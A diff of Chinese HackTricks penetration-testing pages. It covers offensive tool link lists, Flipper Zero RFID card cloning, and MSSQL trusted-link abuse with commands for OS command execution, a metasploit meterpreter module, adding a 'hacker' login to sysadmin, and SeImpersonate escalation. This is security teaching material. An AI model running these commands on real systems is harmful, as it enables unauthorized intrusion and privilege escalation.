在过去,可以绕过AWS WAF,因为它无法理解下一行是标头值的一部分,而NODEJS服务器可以(已修复)。
|
||||
|
||||
## 参考
|
||||
## 参考资料
|
||||
|
||||
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass)
|
||||
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,14 +4,18 @@
|
|||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# 蓝队
|
||||
|
||||
|
@ -40,7 +44,7 @@
|
|||
* [https://builtwith.com/](https://builtwith.com)
|
||||
* [https://www.spiderfoot.net/](https://www.spiderfoot.net)
|
||||
* [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
|
||||
* [https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/sys/tools/subdomainfinder/) : 8个子域名查找工具,sublist3r,amass等
|
||||
* [https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/sys/tools/subdomainfinder/) : 8个子域名查找工具,sublist3r、amass等
|
||||
|
||||
# **WEB**
|
||||
|
||||
|
@ -51,24 +55,23 @@
|
|||
* [https://github.com/spinkham/skipfish](https://github.com/spinkham/skipfish)
|
||||
* [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : 异步暴力破解域名
|
||||
* [https://crt.sh/?q=%.yahoo.com](https://crt.sh/?q=%.yahoo.com) : 子域名暴力破解
|
||||
* [https://github.com/tomnomnom/httprobe](https://github.com/tomnomnom/httprobe): 检查域中的web服务器是否可访问
|
||||
* [https://github.com/tomnomnom/httprobe](https://github.com/tomnomnom/httprobe): 检查域中的Web服务器是否可访问
|
||||
* [https://github.com/aboul3la/Sublist3r](https://github.com/aboul3la/Sublist3r) : 子域发现
|
||||
* [https://github.com/gwen001/github-search/blob/master/github-subdomains.py](https://github.com/gwen001/github-search/blob/master/github-subdomains.py) : GitHub中的子域发现
|
||||
* [https://github.com/robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) : 快速端口扫描
|
||||
* [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : 从web中的JS文件中获取子域和URL
|
||||
* [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : 从Web中的JS文件中获取子域和URL
|
||||
* [https://github.com/C1h2e1/MyFuzzingDict](https://github.com/C1h2e1/MyFuzzingDict) : Web文件字典
|
||||
* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : 避免重复repeater标签的BurpExtension
|
||||
* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : 用于避免大量重复标签的Burp扩展
|
||||
* [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : 获取资产
|
||||
* [https://github.com/izo30/google-dorker](https://github.com/izo30/google-dorker) : Google dorks
|
||||
* [https://github.com/izo30/google-dorker](https://github.com/izo30/google-dorker) : Google Dorks
|
||||
* [https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md) : Web BugBounty清单
|
||||
* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : 检查域名列表是否存在开放重定向
|
||||
* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : 检查一组域名是否存在开放重定向
|
||||
* [https://github.com/prodigysml/Dr.-Watson](https://github.com/prodigysml/Dr.-Watson) : Burp插件,离线分析以发现域、子域和IP
|
||||
* [https://github.com/hahwul/WebHackersWeapons](https://github.com/hahwul/WebHackersWeapons): 不同工具列表
|
||||
* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : BurpSuite插件,用于查找漏洞(SQLi,XSS,SSTI)
|
||||
* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : 用于发现漏洞(SQLi、XSS、SSTI)的BurpSuite插件
|
||||
* [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : 用于跟踪post-messages函数的Chrome扩展
|
||||
* [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : 自动身份验证测试(删除cookies并尝试发送请求)
|
||||
* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross是一个用于渗透/漏洞赏金测试的重建、扫描和工具。该工具旨在测试(XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI)漏洞
|
||||
|
||||
* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross是一个用于测试(XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI)漏洞的重建、扫描和渗透/漏洞赏金测试工具
|
||||
# Windows
|
||||
|
||||
* [https://github.com/Mr-Un1k0d3r/PoisonHandler](https://github.com/Mr-Un1k0d3r/PoisonHandler) : 横向移动
|
||||
|
@ -76,9 +79,9 @@
|
|||
* [https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79](https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79) ([https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)): 持久性
|
||||
* [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : Windows进程注入技术
|
||||
* [https://github.com/BankSecurity/Red\_Team](https://github.com/BankSecurity/Red\_Team) : 红队脚本
|
||||
* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : 在Active Directory Group Policy中查找安全相关的配置错误。
|
||||
* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : 在Active Directory组策略中查找与安全相关的配置错误。
|
||||
* [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Securestring混淆
|
||||
* [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : 父PID欺骗
|
||||
* [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : 父进程ID欺骗
|
||||
* [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : 加密Powershell有效载荷
|
||||
* [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : 隐蔽C2
|
||||
* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : 有关Windows内部的一系列日志
|
||||
|
@ -100,7 +103,7 @@
|
|||
|
||||
如果找不到在线固件,如何提取固件:[https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
|
||||
|
||||
这里有一个带有漏洞的固件供分析:[https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat)
|
||||
这里有一个带有漏洞的固件可供分析:[https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat)
|
||||
|
||||
以及OWASP分析固件的方法:[https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm)
|
||||
|
||||
|
@ -114,18 +117,32 @@
|
|||
* [https://github.com/skelsec/jackdaw](https://github.com/skelsec/jackdaw)
|
||||
* [https://github.com/CoatiSoftware/Sourcetrail](https://github.com/CoatiSoftware/Sourcetrail) : 静态代码分析
|
||||
* [https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html](https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html) : 蓝牙LE CTF
|
||||
* [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : 缓慢发送无尽横幅的SSH诱骗。
|
||||
* [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : 缓慢发送无尽横幅的SSH陷阱。
|
||||
* AWS和云工具:[https://github.com/toniblyx/my-arsenal-of-aws-security-tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools)
|
||||
* IFS(星际文件系统)用于网络钓鱼:[https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/)
|
||||
* IP轮换服务:[https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212](https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212)
|
||||
* Linux rootkit:[https://github.com/aesophor/satanic-rootkit](https://github.com/aesophor/satanic-rootkit)
|
||||
* [https://theia-ide.org/](https://theia-ide.org) : 在线IDE
|
||||
* [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : 初学者BugBounties资源
|
||||
* [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : 初学者赏金猎人资源
|
||||
* [https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab](https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab) : IOS渗透测试工具
|
||||
* [https://github.com/random-robbie/keywords/blob/master/keywords.txt](https://github.com/random-robbie/keywords/blob/master/keywords.txt) : 关键词
|
||||
* [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : 黑客IoT(Wifi,BLE,SSDP,MDNS)
|
||||
* [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : 黑客IoT(Wifi、BLE、SSDP、MDNS)
|
||||
* [https://github.com/rackerlabs/scantron](https://github.com/rackerlabs/scantron) : 自动化扫描
|
||||
* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : 该列表旨在涵盖与Electron.js安全相关的主题。
|
||||
* [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : 有关BB程序的信息
|
||||
|
||||
</details>
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
|
|
@ -7,13 +7,18 @@
|
|||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS&HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## 简介
|
||||
|
||||
有关125kHz标签工作原理的更多信息,请查看:
|
||||
|
@ -24,19 +29,19 @@
|
|||
|
||||
## 操作
|
||||
|
||||
有关这些类型标签的更多信息,请[**阅读此简介**](../pentesting-rfid.md#low-frequency-rfid-tags-125khz)。
|
||||
有关这些类型标签的更多信息,请阅读[**此简介**](../pentesting-rfid.md#low-frequency-rfid-tags-125khz)。
|
||||
|
||||
### 读取
|
||||
|
||||
尝试**读取**卡片信息。然后可以**模拟**它们。
|
||||
|
||||
{% hint style="warning" %}
|
||||
请注意,一些对讲机会通过在读取之前发送写入命令来防止密钥复制。如果写入成功,则该标签被视为伪造的。当Flipper模拟RFID时,读卡器无法区分它与原始卡之间的区别,因此不会出现此类问题。
|
||||
请注意,一些对讲机会通过在读取之前发送写入命令来防止复制钥匙。如果写入成功,则认为该标签是伪造的。当Flipper模拟RFID时,读卡器无法区分它与原始卡之间的区别,因此不会出现此类问题。
|
||||
{% endhint %}
|
||||
|
||||
### 手动添加
|
||||
|
||||
您可以在Flipper Zero中创建**指示手动输入数据**的**伪造卡**,然后进行模拟。
|
||||
您可以在Flipper Zero中创建**指示您手动输入的数据**的**伪造卡片**,然后模拟它。
|
||||
|
||||
#### 卡片上的ID
|
||||
|
||||
|
@ -44,25 +49,30 @@
|
|||
|
||||
* **EM Marin**
|
||||
|
||||
例如,在这张EM-Marin卡中,可以在物理卡上**清晰地读取最后的5字节中的3字节**。\
|
||||
如果无法从卡片上读取,另外的2字节可以通过暴力破解获得。
|
||||
例如,在这张EM-Marin卡片中,可以**清晰地读取卡片上的最后3个字节中的5个字节**。\
|
||||
如果无法从卡片上读取它们,则可以通过暴力破解来找到其他2个字节。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (30).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (101).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* **HID**
|
||||
|
||||
在这张HID卡中,只有3字节中的2字节可以在卡片上找到
|
||||
在这张HID卡片中,只有2个字节中的3个字节可以在卡片上找到
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (15) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1011).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 模拟/写入
|
||||
|
||||
在**复制**卡片或**手动输入**ID后,可以使用Flipper Zero进行**模拟**,或将其**写入**真实卡片中。
|
||||
在**复制**卡片或**手动输入**ID后,可以使用Flipper Zero**模拟**它或将其**写入**真实卡片。
|
||||
|
||||
## 参考
|
||||
|
||||
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
@ -70,9 +80,9 @@
|
|||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS&HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,14 +4,19 @@
|
|||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在 HackTricks 上看到您的**公司广告**? 或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在 HackTricks 中做广告**吗? 或者您想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧**。
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向 [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## **MSSQL 枚举 / 发现**
|
||||
|
||||
在这种情况下,PowerUpSQL PowerShell 模块非常有用。
|
||||
|
@ -67,7 +72,7 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
|
|||
```
|
||||
### MSSQL RCE
|
||||
|
||||
可能还可以在 MSSQL 主机内部执行命令
|
||||
也许还可以在 MSSQL 主机内部执行命令
|
||||
```powershell
|
||||
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
|
||||
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
|
||||
|
@ -124,24 +129,24 @@ Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql
|
|||
msf> use exploit/windows/mssql/mssql_linkcrawler
|
||||
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
|
||||
```
|
||||
注意,metasploit 将尝试仅滥用 MSSQL 中的 `openquery()` 函数(因此,如果您无法使用 `openquery()` 执行命令,则需要手动尝试 `EXECUTE` 方法来执行命令,详见下文。)
|
||||
注意,metasploit 将尝试仅滥用 MSSQL 中的 `openquery()` 函数(因此,如果您无法使用 `openquery()` 执行命令,则需要尝试手动使用 `EXECUTE` 方法执行命令,详见下文。)
|
||||
|
||||
### 手动 - Openquery()
|
||||
|
||||
从 **Linux** 中,您可以使用 **sqsh** 和 **mssqlclient.py** 获得 MSSQL 控制台 shell。
|
||||
|
||||
从 **Windows** 中,您还可以找到链接,并使用类似 **HeidiSQL** 的 **MSSQL 客户端** 手动执行命令。
|
||||
从 **Windows** 中,您还可以找到链接,并使用类似 **MSSQL 客户端** [**HeidiSQL**](https://www.heidisql.com) 手动执行命令。
|
||||
|
||||
_使用 Windows 身份验证登录:_
|
||||
|
||||
![](<../../.gitbook/assets/image (167) (1).png>)
|
||||
![](<../../.gitbook/assets/image (805).png>)
|
||||
|
||||
#### 查找可信链接
|
||||
```sql
|
||||
select * from master..sysservers;
|
||||
EXEC sp_linkedservers;
|
||||
```
|
||||
![](<../../.gitbook/assets/image (168).png>)
|
||||
![](<../../.gitbook/assets/image (713).png>)
|
||||
|
||||
#### 在可信链接中执行查询
|
||||
|
||||
|
@ -150,10 +155,10 @@ EXEC sp_linkedservers;
|
|||
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
检查双引号和单引号的使用方式,以确保使用正确。
|
||||
检查双引号和单引号的使用方式,重要的是要按照这种方式使用。
|
||||
{% endhint %}
|
||||
|
||||
![](<../../.gitbook/assets/image (169).png>)
|
||||
![](<../../.gitbook/assets/image (640).png>)
|
||||
|
||||
您可以手动无限延续这些受信任的链接链。
|
||||
```sql
|
||||
|
@ -173,8 +178,25 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
|
|||
```
|
||||
## 本地权限提升
|
||||
|
||||
**MSSQL本地用户**通常具有一种特殊特权,称为**`SeImpersonatePrivilege`**。这允许该帐户在身份验证后“模拟客户端”。
|
||||
**MSSQL本地用户**通常具有一种称为**`SeImpersonatePrivilege`**的特殊特权。这允许帐户在身份验证后“模拟客户端”。
|
||||
|
||||
许多作者提出的一种策略是强制**SYSTEM服务**对攻击者创建的恶意或中间人服务进行身份验证。然后,这个恶意服务能够在SYSTEM服务尝试进行身份验证时冒充SYSTEM服务。
|
||||
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato)收集了这些各种技术,可以通过Beacon的`execute-assembly`命令执行。
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 您想看到您的**公司在HackTricks中被广告**吗? 或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群组**](https://discord.gg/hRep4RUj7f) 或**电报群组**或在**Twitter**上关注我🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks)和[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,18 +6,23 @@
|
|||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
